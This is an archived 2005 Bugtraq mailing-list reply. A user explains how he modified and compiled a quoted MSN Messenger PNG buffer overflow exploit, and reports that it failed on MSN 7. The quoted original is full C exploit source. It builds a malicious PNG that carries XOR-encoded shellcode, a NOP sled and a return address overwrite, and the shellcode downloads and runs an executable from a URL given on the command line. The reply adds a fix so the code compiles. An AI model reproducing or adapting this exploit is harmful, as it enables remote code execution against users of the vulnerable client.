RE: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit

From: Andrew Hunter (andiroohunter_at_msn.com)
Date: 02/09/05

  • Next message: Jean-Baptiste Marchand: "Some details about MS05-007 security bulletin"
    To: bugtraq@securityfocus.com
    Date: Wed, 09 Feb 2005 19:51:26 +0000
    
    

    I had problems getting your code to compile, a few modifications were
    needed!
    I did get it to compile in MS VC++, and in Dev C++

    You need to make the following adjustments.

    Line 124:
    newshellcode = new char[sizeof(shellcode)+strlen(web)+1];

    Change it to the following:
    newshellcode = malloc((sizeof(shellcode)+strlen(web)+1));

    That is how i got it to sucessfully compile and make vuln.png

    Unfortunatly MSN would let me load the .png as my display picture? I am
    using MSN 7 so that is probbobly why, i will down grade to MSN 6 and try
    again.

    >From: ATmaCA ATmaCA <atmaca@atmacasoft.com>
    >To: bugtraq@securityfocus.com
    >Subject: MSN Messenger PNG Image Buffer Overflow Download Shellcoded
    >Exploit
    >Date: 9 Feb 2005 14:06:29 -0000
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    >
    >/*
    >*
    >* MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
    >* Bug discoveried by Core Security Technologies (www.coresecurity.com)
    >* Exploit coded By ATmaCA
    >* Copyright 2002-2005 AtmacaSoft Inc. All Rights Reserved.
    >* Web: http://www.atmacasoft.com
    >* E-Mail: atmaca@icqmail.com
    >* Credit to kozan and delikon
    >* Usage:exploit <OutputPath> <Url>
    >*
    >*/
    >
    >/*
    >*
    >* Tested with MSN Messenger 6.2.0137
    >* This vulnerability can be exploited on Windows 2000 (all service packs)
    >* and Windows XP (all service packs) that run vulnerable
    >* clients of MSN Messenger.
    >*
    >*/
    >
    >/*
    >*
    >* After creating vuln png image, open
    >* MSN Messenger and select it as your display picture in
    >* "Tools->Change Display Picture".
    >*
    >*/
    >
    >#include <stdio.h>
    >#include <stdlib.h>
    >#include <conio.h>
    >#include <string.h>
    >
    >
    >#ifdef __BORLANDC__
    > #include <mem.h>
    >#endif
    >
    >#define NOP 0x90
    >
    >char png_header[] =
    >"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
    >"\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
    >"\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";
    >
    >char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";
    >
    >/* Generic win32 http download shellcode
    > xored with 0x1d by delikon (http://delikon.de/) */
    >char shellcode[] = "\xEB"
    >"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
    >"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
    >"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
    >"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
    >"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
    >"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
    >"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
    >"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
    >"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
    >"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
    >"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
    >"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
    >"\x78\x65\x78\x1D";
    >
    >FILE *di;
    >int i = 0;
    >short int weblength;
    >char *web;
    >char *pointer = NULL;
    >char *newshellcode;
    >
    >/*xor cryptor*/
    >char *Sifrele(char *Name1)
    >{
    > char *Name=Name1;
    > char xor=0x1d;
    > int Size=strlen(Name);
    > for(i=0;i<Size;i++)
    > Name[i]=Name[i]^xor;
    > return Name;
    >}
    >
    >
    >void main(int argc, char *argv[])
    >{
    >
    > if (argc < 3)
    > {
    > printf("MSN Messenger PNG Image Buffer Overflow Download
    >Shellcoded Exploit\n");
    > printf("Bug discoveried by Core Security Technologies
    >(www.coresecurity.com)\n");
    > printf("Exploit coded By ATmaCA\n");
    > printf("Copyright 2002-2005 AtmacaSoft Inc. All Rights
    >Reserved.\n");
    > printf("Web: http://www.atmacasoft.com\n");
    > printf("E-Mail: atmaca@icqmail.com\n");
    > printf("Credit to kozan and delikon\n\n");
    > printf("\tUsage:exploit <OutputPath> <Url>\n");
    > printf("\tExample:exploit vuln.png
    >http://www.atmacasoft.com/exp/msg.exe\n");
    >
    > return;
    > }
    >
    >
    > web = argv[2];
    >
    >
    > if( (di=fopen(argv[1],"wb")) == NULL )
    > {
    > printf("Error opening file!\n");
    > return;
    > }
    > for(i=0;i<sizeof(png_header)-1;i++)
    > fputc(png_header[i],di);
    >
    > /*stuff in a couple of NOPs*/
    > for(i=0;i<99;i++)
    > fputc(NOP,di);
    >
    > weblength=(short int)0xff22;
    > pointer=strstr(shellcode,"\x22\xff");
    > weblength-=strlen(web)+1;
    > memcpy(pointer,&weblength,2);
    > newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
    > strcpy(newshellcode,shellcode);
    > strcat(newshellcode,Sifrele(web));
    > strcat(newshellcode,"\x1d");
    >
    > //shell code
    > for(i=0;i<strlen(newshellcode);i++)
    > fputc(newshellcode[i],di);
    >
    >
    > for(i=0;i<(83-strlen(web));i++) //NOPs
    > fputc(NOP,di);
    >
    > /*Overwriting the return address (EIP)*/
    > /*0x005E0547 - ret */
    > fputc(0x47,di);
    > fputc(0x05,di);
    > fputc(0x5e,di);
    > fputc(0x00,di);
    >
    > for(i=0;i<sizeof(pngeof)-1;i++)
    > fputc(pngeof[i],di);
    >
    > printf("Vulnarable png file %s has been generated!\n",argv[1]);
    >
    > fclose(di);
    >}
    >


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